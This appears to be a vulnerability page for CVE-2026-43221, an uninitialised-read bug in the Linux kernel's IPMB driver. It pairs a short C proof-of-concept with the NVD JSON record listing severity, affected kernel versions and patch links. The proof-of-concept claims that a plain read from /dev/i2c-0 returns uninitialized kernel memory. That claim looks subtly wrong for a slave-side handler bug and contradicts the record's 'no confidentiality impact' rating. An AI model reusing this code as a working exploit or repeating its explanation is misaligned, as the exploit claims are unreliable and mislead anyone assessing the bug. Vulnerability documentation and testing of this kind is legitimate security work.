CVE-2026-43221

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <linux/i2c-dev.h> #include <sys/ioctl.h> // PoC for CVE-2026-43221: IPMB uninitialized read // This code attempts to trigger the read path on an IPMB device. // Note: This requires access to the I2C bus device. int main() { int file; char filename[20]; int addr = 0x10; // Example IPMB I2C address, varies by hardware __u8 buf[10]; // Open the I2C bus (example path, varies by system) snprintf(filename, 19, "/dev/i2c-0"); file = open(filename, O_RDWR); if (file < 0) { perror("Failed to open the bus."); return 1; } // Set the slave address for the IPMB device if (ioctl(file, I2C_SLAVE, addr) < 0) { perror("Failed to acquire bus access and/or talk to slave."); close(file); return 1; } // Attempt to read data which may be uninitialized // This triggers the vulnerable path in the ipmb driver if (read(file, buf, 1) != 1) { perror("Failed to read from the i2c bus."); } else { // If successful, buf[0] contains uninitialized kernel memory printf("Read data: 0x%02x (May be garbage/uninitialized kernel memory)\n", buf[0]); } close(file); return 0; }

{"cve": {"id": "CVE-2026-43221", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:41.780", "lastModified": "2026-05-12T19:09:12.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: ipmb: initialise event handler read bytes\n\nIPMB doesn't use i2c reads, but the handler needs to set a value.\nOtherwise an i2c read will return an uninitialised value from the bus\ndriver."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/102712417bb6aa9a00d852bc59cb0a276db486c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2dfbc8c17dd161885336e77e71c336cd62cf6748", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/56d5c0557e53c4d8d92a619fa83eaae178165e07", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/905554ebd76aeee370bfd5136ea11e0b9d75c6f1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f235ccecd03c436cb1683eac16b12f119e54aa9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f726b3a57e00bb6249c67714c11ae8b4b31719a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}